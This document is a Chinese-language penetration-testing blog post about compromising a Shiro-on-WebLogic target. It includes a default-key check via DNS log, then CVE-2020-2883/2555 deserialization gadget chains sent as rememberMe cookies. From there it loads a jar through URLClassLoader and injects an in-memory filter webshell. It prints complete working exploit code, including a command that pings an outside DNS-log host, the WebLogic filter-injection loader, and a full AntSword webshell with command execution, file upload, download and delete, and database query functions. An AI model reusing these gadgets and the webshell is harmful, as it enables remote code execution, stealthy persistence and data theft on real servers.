TQL
在项目中碰到了Shiro的反序列化,用工具打发现没有成功,然后发现报错是weblogic的,想到了之前研究的WebLogic的几个CVE,遂对其展开研究。
纵观全局
本文涉及如下知识点:
- 如何判断shiro正确的key
- 构造CVE-2020-2883、CVE-2020-2555 gadget
- WebLogic 内存shell
- CVE-2020-2883加载字节码
- 如何实现Filter类型的蚁剑shell
阅读本文之前,建议先看已经完成好的项目:https://github.com/Y4er/WebLogic-Shiro-shell
如何判断Shiro正确的key
两种思路
- 根据Shiro的正确逻辑构造正确的Object
- URLDNS判断
根据Shiro的正确逻辑构造正确的Object
一种思路是 @l1nk3r 师傅在 《一种另类的 shiro 检测方式》 提出来的,简单说一下。
在 org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals
中
先获取cookie的bytes,然后进入convertBytesToPrincipals()
在这个方法中先解密byte数组,然后反序列化对象。
反序列化时强制转换为PrincipalCollection类型,那么我们构造一个空的PrincipalCollection对象,key错误时返回rememberMe=deleteMe,正确时不返回。
PrincipalCollection是一个接口,继承他的类有如图
SimplePrincipalCollection就是我们要用的,手动构造
package org.chabug.test;
import org.apache.shiro.subject.SimplePrincipalCollection;
import org.chabug.utils.Serializables;
import org.unicodesec.EncryptUtil;
import java.io.IOException;
public class ShiroKey {
public static void main(String[] args) throws IOException {
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
byte[] bytes = Serializables.serialize(simplePrincipalCollection);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, bytes);
System.out.println(rememberMe);
}
}
key为kPH+bIxk5D2deZiIxcaaaA==
正确时不返回deleteMe
错误时AAA+bIxk5D2deZiIxcaaaA==
返回deleteMe
以此通过枚举key判断返回headers中是否出现了deleteMe即可。
URLDNS判断
很简单了,直接给代码
package org.chabug.test;
import org.chabug.utils.Serializables;
import org.unicodesec.EncryptUtil;
import ysoserial.payloads.URLDNS;
public class ShiroKey {
public static void main(String[] args) throws Exception {
URLDNS urldns = new URLDNS();
Object object = urldns.getObject("http://oq287o.dnslog.cn");
byte[] buf = Serializables.serialize(object);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
System.out.println(rememberMe);
}
}
key正确时会收到DNSLOG请求
到这里,实际项目中判断出来了key为默认的kPH+bIxk5D2deZiIxcaaaA==
,使用DNSLOG也收到了请求,使用工具跑了一下发现没有可用的gadget。接下来就是根据CVE-2020-2883、CVE-2020-2555这两个CVE来构造gadget进行RCE。
构造CVE-2020-2883、CVE-2020-2555 gadget
根据之前的我分析过的payload拿过来,配上Shiro的加密就完事
package org.chabug.cve;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.utils.Serializables;
import org.unicodesec.EncryptUtil;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CVE_2020_2883 {
public static void main(String[] args) throws Exception {
ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}); //ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});
ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "ping test.oq287o.dnslog.cn"}});
ValueExtractor[] valueExtractors = new ValueExtractor[]{
reflectionExtractor1,
reflectionExtractor2,
reflectionExtractor3,
};
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
reflectionExtractor
};
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
m_aExtractor.set(chainedExtractor1, valueExtractors);
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = Runtime.class;
queueArray[1] = "1";
byte[] buf = Serializables.serialize(queue);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
System.out.println(rememberMe);
}
}
本机测试,很好收到了请求
因为目标是Linux,改成/bin/bash在测试也收到了dnslog请求,然后随手就是一个反弹shell,却发现死活反弹不回来,然后本地监听80、443、8080等常规端口,用curl、wget等命令触发http请求没收到,判断为只出DNS,难受了啊。
此时再想目标机器是WebLogic,可以直接写jsp,通过不断的dnslog回显,base64拼接截取判断找到了war所在的目录(这个过程简直恶心),写入txt、jsp、jspx均访问不到,难道是SpringMVC?试了多个目录均不行,并且发现目标机器是通过nginx反代WebLogic,内网中2台WebLogic做负载均衡,读的文件一会有一会没有,恶心,真的恶心,但是又不能不搞。
东西都访问不到,只能写内存马了呗,爷就不信搞不定。
WebLogic 内存shell
作为一个渗透搬砖工程师,不会分析还不会抄? 关于WebLogic的内存shell如何实现就不分析了,直接抄宽字节安全的文章《weblogic 无文件webshell的技术研究》 最终实现了如下代码
import java.io.*;
import java.lang.reflect.*;
import java.util.Map;
public class WebLogicEcho {
static {
try {
Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
Method m = executeThread.getDeclaredMethod("getCurrentWork");
Object currentWork = m.invoke(Thread.currentThread());
Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
connectionHandlerF.setAccessible(true);
Object obj = connectionHandlerF.get(currentWork);
Field requestF = obj.getClass().getDeclaredField("request");
requestF.setAccessible(true);
obj = requestF.get(obj);
Field contextF = obj.getClass().getDeclaredField("context");
contextF.setAccessible(true);
Object context = contextF.get(obj);
Field classLoaderF = context.getClass().getDeclaredField("classLoader");
classLoaderF.setAccessible(true);
ClassLoader cl = (ClassLoader) classLoaderF.get(context);
Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
cachedClassesF.setAccessible(true);
Object cachedClass = cachedClassesF.get(cl);
Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
if (getM.invoke(cachedClass, "shell") == null) {
// this is your shell class byte code
byte[] codeClass = new byte[]{22,22,2,2,2,2,2};
Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);
String evilName = "gameName" + System.currentTimeMillis();
String filterName = "gameFilter" + System.currentTimeMillis();
String[] url = new String[]{"/*"};
Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
putM.invoke(cachedClass, filterName, evilFilterClass);
Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
Object filterManager = getFilterManagerM.invoke(context);
Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
registerFilterM.setAccessible(true);
registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
宽字节安全的文章中采用的是base64+gzip的形式拿到shell,我是直接通过读文件的形式拿,因为我遇到了几个大坑,慢慢讲。
最开始的时候我是使用PythonInterpreter类加载WebLogicEcho.class字节码的形式,将我写的执行cmd命令的MyFilter的shell直接编译好,然后读取class字节码写入到codeClass数组中,编译什么的都顺利,就是发送过去之后,WebLogic会直接被打挂,多次调试之后发现是因为Python加载字节码数组太长了,导致溢出进程宕掉了。
可以,后来我用URLClassLoader,我把编译好的WebLogicEcho.class打个jar包,命令执行写入目标然后加载类可以了吧。很好,一切都没问题。代码长这样
package org.chabug.cve;
import org.chabug.utils.Serializables;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.unicodesec.EncryptUtil;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.PriorityQueue;
public class CVE_2020_2883_URLClassLoader {
public static void main(String[] args) {
try {
ReflectionExtractor extractor1 = new ReflectionExtractor(
"getConstructor",
new Object[]{new Class[]{URL[].class}}
);
// this jar is result of `jar cvf a.jar WebLogicEcho.class`
ReflectionExtractor extractor2 = new ReflectionExtractor(
"newInstance",
// new Object[]{new Object[]{new URL[]{new URL("file:///tmp/tttt.jar")}}}
new Object[]{new Object[]{new URL[]{new URL("file:///C:/Users/Administrator/Desktop/tttt.jar")}}}
);
// load filter shell
ReflectionExtractor extractor3 = new ReflectionExtractor(
"loadClass",
new Object[]{"WebLogicEcho"}
);
ReflectionExtractor extractor4 = new ReflectionExtractor(
"getConstructor",
new Object[]{new Class[]{}}
);
ReflectionExtractor extractor5 = new ReflectionExtractor(
"newInstance",
new Object[]{new Object[]{}}
);
ValueExtractor[] valueExtractors = new ValueExtractor[]{
extractor1,
extractor2,
extractor3,
extractor4,
extractor5,
};
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
reflectionExtractor
};
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
m_aExtractor.set(chainedExtractor1, valueExtractors);
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = URLClassLoader.class;
queueArray[1] = "1";
byte[] buf = Serializables.serialize(queue);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
System.out.println(rememberMe);
} catch (Exception e) {
e.printStackTrace();
}
}
}
tttt.jar是WebLogicEcho.class打的jar包。此时WebLogicEcho.class是执行命令的filter shell,shell实现可见 MyFilter.java
哎,都没问题,直接怼上去cmdshell。演示图如下:
A:命令执行的shell有什么用呢?就是多了个回显结果?爷想要更多的功能,你把哥斯拉shell给爷怼进去!
我:啊这?好嘞
不就是哥斯拉的shell吗,改一改就行,然后就打脸了。以下是哥斯拉shell的部分代码
try {
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", new String(data));
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {
}
其中pageContext在filter中是没有的,我搜遍了资料,问遍了师傅也没解决,然后准备退而求其次,实现一个冰蝎的shell,然后发现冰蝎也用到了pageContext.............算了 蚁剑吧。下面是我实现的蚁剑的Filter shell.
import javax.servlet.*;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.sql.*;
import java.text.SimpleDateFormat;
public class MyAntShellFilter implements Filter {
String Pwd = "ant"; //连接密码
// 数据编码 3 选 1
String encoder = ""; // default
// String encoder = "base64"; //base64
// String encoder = "hex"; //hex
String cs = "UTF-8"; // 脚本自身编码
String EC(String s) throws Exception {
if (encoder.equals("hex") || encoder == "hex") return s;
return new String(s.getBytes("ISO-8859-1"), cs);
}
String showDatabases(String encode, String conn) throws Exception {
String sql = "show databases"; // mysql
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showTables(String encode, String conn, String dbname) throws Exception {
String sql = "show tables from " + dbname; // mysql
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showColumns(String encode, String conn, String dbname, String table) throws Exception {
String columnsep = "\t";
String rowsep = "";
String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String query(String encode, String conn, String sql) throws Exception {
String columnsep = "\t|\t"; // general
String rowsep = "\r\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
throws Exception {
String ret = "";
conn = (EC(conn));
String[] x = conn.trim().replace("\r\n", "\n").split("\n");
Class.forName(x[0].trim());
String url = x[1] + "&characterEncoding=" + decode(EC(encode), encoder);
Connection c = DriverManager.getConnection(url);
Statement stmt = c.createStatement();
ResultSet rs = stmt.executeQuery(sql);
ResultSetMetaData rsmd = rs.getMetaData();
if (needcoluname) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
String WwwRootPathCode(ServletRequest r) throws Exception {
String d = this.getClass().getClassLoader().getResource("/").getPath();
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
for (int i = 0; i < roots.length; i++) {
s += roots[i].toString().substring(0, 2) + "";
}
} else {
s += "/";
}
return s;
}
String FileTreeCode(String dirPath) throws Exception {
File oF = new File(dirPath), l[] = oF.listFiles();
String s = "", sT, sQ, sF = "";
java.util.Date dt;
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
if (l[i].isDirectory()) {
s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
} else {
sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}
}
return s += sF;
}
String ReadFileCode(String filePath) throws Exception {
String l = "", s = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))));
while ((l = br.readLine()) != null) {
s += l + "\r\n";
}
br.close();
return s;
}
String WriteFileCode(String filePath, String fileContext) throws Exception {
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath))));
bw.write(fileContext);
bw.close();
return "1";
}
String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
File f = new File(fileOrDirPath);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
DeleteFileOrDirCode(x[k].getPath());
}
}
}
f.delete();
return "1";
}
void DownloadFileCode(String filePath, ServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
os.write(("->|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|<-").getBytes(), 0, 3);
os.close();
is.close();
}
String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(savefilePath);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
File sf = new File(sourceFilePath), df = new File(targetFilePath);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[1024];
while ((n = is.read(b, 0, 1024)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
return "1";
}
String RenameFileOrDirCode(String oldName, String newName) throws Exception {
File sf = new File(oldName), df = new File(newName);
sf.renameTo(df);
return "1";
}
String CreateDirCode(String dirPath) throws Exception {
File f = new File(dirPath);
f.mkdir();
return "1";
}
String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
File f = new File(fileOrDirPath);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(aTime);
f.setLastModified(dt.getTime());
return "1";
}
String WgetCode(String urlPath, String saveFilePath) throws Exception {
URL u = new URL(urlPath);
int n = 0;
FileOutputStream os = new FileOutputStream(saveFilePath);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
return "1";
}
String SysInfoCode(ServletRequest r) throws Exception {
// String d = r.getServletContext().getRealPath("/");
String d = this.getClass().getClassLoader().getResource("/").getPath();
String serverInfo = System.getProperty("os.name");
String separator = File.separator;
String user = System.getProperty("user.name");
String driverlist = WwwRootPathCode(r);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
boolean isWin() {
String osname = System.getProperty("os.name");
osname = osname.toLowerCase();
if (osname.startsWith("win"))
return true;
return false;
}
String ExecuteCommandCode(String cmdPath, String command) throws Exception {
StringBuffer sb = new StringBuffer("");
String[] c = {cmdPath, !isWin() ? "-c" : "/c", command};
Process p = Runtime.getRuntime().exec(c);
CopyInputStream(p.getInputStream(), sb);
CopyInputStream(p.getErrorStream(), sb);
return sb.toString();
}
String decode(String str) {
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
String decode(String str, String encode) {
if (encode.equals("hex") || encode == "hex") {
if (str == "null" || str.equals("null")) {
return "";
}
StringBuilder sb = new StringBuilder();
StringBuilder temp = new StringBuilder();
try {
for (int i = 0; i < str.length() - 1; i += 2) {
String output = str.substring(i, (i + 2));
int decimal = Integer.parseInt(output, 16);
sb.append((char) decimal);
temp.append(decimal);
}
} catch (Exception e) {
e.printStackTrace();
}
return sb.toString();
} else if (encode.equals("base64") || encode == "base64") {
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
return str;
}
void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
}
public void init(FilterConfig f) throws ServletException {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
if (request.getParameter("size") != null) {
response.setContentType("text/html");
response.setCharacterEncoding(cs);
StringBuffer sb = new StringBuffer("");
try {
String funccode = EC(request.getParameter(Pwd) + "");
String z0 = decode(EC(request.getParameter("z0") + ""), encoder);
String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
String[] pars = {z0, z1, z2, z3};
sb.append("->|");
if (funccode.equals("B")) {
sb.append(FileTreeCode(pars[1]));
} else if (funccode.equals("C")) {
sb.append(ReadFileCode(pars[1]));
} else if (funccode.equals("D")) {
sb.append(WriteFileCode(pars[1], pars[2]));
} else if (funccode.equals("E")) {
sb.append(DeleteFileOrDirCode(pars[1]));
} else if (funccode.equals("F")) {
DownloadFileCode(pars[1], response);
} else if (funccode.equals("U")) {
sb.append(UploadFileCode(pars[1], pars[2]));
} else if (funccode.equals("H")) {
sb.append(CopyFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("I")) {
sb.append(RenameFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("J")) {
sb.append(CreateDirCode(pars[1]));
} else if (funccode.equals("K")) {
sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
} else if (funccode.equals("L")) {
sb.append(WgetCode(pars[1], pars[2]));
} else if (funccode.equals("M")) {
sb.append(ExecuteCommandCode(pars[1], pars[2]));
} else if (funccode.equals("N")) {
sb.append(showDatabases(pars[0], pars[1]));
} else if (funccode.equals("O")) {
sb.append(showTables(pars[0], pars[1], pars[2]));
} else if (funccode.equals("P")) {
sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
} else if (funccode.equals("Q")) {
sb.append(query(pars[0], pars[1], pars[2]));
} else if (funccode.equals("A")) {
sb.append(SysInfoCode(request));
}
} catch (Exception e) {
sb.append("ERROR" + "://" + e.toString());
e.printStackTrace();
}
sb.append("|<-");
response.getWriter().print(sb.toString());
} else {
chain.doFilter(request, response);
}
}
public void destroy() {
}
}
实现蚁剑Filter shell中踩坑发现在WebLogic中
String d = r.getServletContext().getRealPath("/")
这行代码获取的是空的,需要改为
String d = this.getClass().getClassLoader().getResource("/").getPath();
没问题了,编译,读字节码写入到codeClass byte数组中,然后问题又来了,编译不通过.....
codeClass字节码数组太长了,爷吐了。没关系,我写个方法,让他自己从本地读字节码,我通过命令执行把字节码写入就完事了。最终实现如下
import java.io.*;
import java.lang.reflect.*;
import java.util.Map;
public class WebLogicEcho {
static {
try {
Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
Method m = executeThread.getDeclaredMethod("getCurrentWork");
Object currentWork = m.invoke(Thread.currentThread());
Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
connectionHandlerF.setAccessible(true);
Object obj = connectionHandlerF.get(currentWork);
Field requestF = obj.getClass().getDeclaredField("request");
requestF.setAccessible(true);
obj = requestF.get(obj);
Field contextF = obj.getClass().getDeclaredField("context");
contextF.setAccessible(true);
Object context = contextF.get(obj);
Field classLoaderF = context.getClass().getDeclaredField("classLoader");
classLoaderF.setAccessible(true);
ClassLoader cl = (ClassLoader) classLoaderF.get(context);
Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
cachedClassesF.setAccessible(true);
Object cachedClass = cachedClassesF.get(cl);
Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
if (getM.invoke(cachedClass, "shell") == null) {
// byte[] codeClass = getBytesByFile("/tmp/MyAntShellFilter.class");
byte[] codeClass = getBytesByFile("C:/Users/Administrator/Desktop/MyAntShellFilter.class");
Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);
String evilName = "gameName" + System.currentTimeMillis();
String filterName = "gameFilter" + System.currentTimeMillis();
String[] url = new String[]{"/*"};
Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
putM.invoke(cachedClass, filterName, evilFilterClass);
Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
Object filterManager = getFilterManagerM.invoke(context);
Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
registerFilterM.setAccessible(true);
registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static byte[] getBytesByFile(String pathStr) {
File file = new File(pathStr);
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
byte[] b = new byte[1000];
int n;
while ((n = fis.read(b)) != -1) {
bos.write(b, 0, n);
}
fis.close();
byte[] data = bos.toByteArray();
bos.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
捋一下,把MyAntShellFilter.class写入到目标,WebLogicEcho.class打成jar包写入目标,然后CVE_2020_2883_URLClassLoader生成rememberMe的cookie,蚁剑链接,成了!
总结
文字能表现出来的东西很表面,因为实际环境中碰到的难题我很难用文字去描述出来,其实当时反代的问题就困扰了我们好久。不过总算历时两周的研究,终于搞定了项目,期间抄的代码无数,很难,但是蚁剑链接success的时候心里的激动是无与伦比的,踩得坑好像也不算什么了。或许这就是平凡的搞站生活中一点点不可多得的喜悦吧。
参考
- https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ
- https://www.cnblogs.com/potatsoSec/p/13162792.html
- https://github.com/Y4er/WebLogic-Shiro-shell
特别感谢宽字节团队@蛋黄